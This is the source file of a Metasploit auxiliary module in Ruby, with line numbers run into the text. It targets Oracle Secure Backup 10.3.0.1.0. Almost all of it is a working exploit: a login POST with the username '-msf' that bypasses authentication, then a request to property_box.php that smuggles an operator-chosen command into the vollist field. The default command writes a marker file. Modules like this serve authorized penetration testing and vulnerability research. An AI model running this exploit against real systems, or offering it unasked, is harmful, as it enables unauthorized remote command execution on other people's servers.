Path: blob/master/modules/auxiliary/admin/oracle/osb_execqr2.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Oracle Secure Backup Authentication Bypass/Command Injection Vulnerability',13'Description' => %q{14This module exploits an authentication bypass vulnerability15in login.php in order to execute arbitrary code via a command injection16vulnerability in property_box.php. This module was tested17against Oracle Secure Backup version 10.3.0.1.0 (Win32).18},19'Author' => [ 'MC' ],20'License' => MSF_LICENSE,21'References' => [22[ 'CVE', '2009-1977' ],23[ 'OSVDB', '55903' ],24[ 'CVE', '2009-1978' ],25[ 'OSVDB', '55904' ],26[ 'ZDI', '09-058' ],27[ 'ZDI', '09-059' ],28],29'DisclosureDate' => '2009-08-18',30'Notes' => {31'Stability' => [CRASH_SAFE],32'SideEffects' => [IOC_IN_LOGS],33'Reliability' => []34}35)36)3738register_options(39[40Opt::RPORT(443),41OptString.new('CMD', [ false, 'The command to execute.', 'cmd.exe /c echo metasploit > %SYSTEMDRIVE%\\metasploit.txt' ]),42OptBool.new('SSL', [true, 'Use SSL', true]),43]44)45end4647def run48cmd = datastore['CMD']4950res = send_request_cgi(51{52'uri' => '/login.php',53'data' => 'button=Login&attempt=1&mode=&tab=75&uname=-msf&passwd=msf',54'method' => 'POST'55}, 556)5758if res && res.get_cookies.match(/PHPSESSID=(.*);(.*)/i)5960print_status("Sending command: #{datastore['CMD']}...")6162send_request_cgi(63{64'uri' => '/property_box.php',65'data' => 'type=Sections&vollist=75' + Rex::Text.uri_encode('&' + cmd),66'cookie' => res.get_cookies,67'method' => 'POST'68}, 569)7071print_status('Done.')72else73print_error('Invalid PHPSESSION token..')74return75end76end77end787980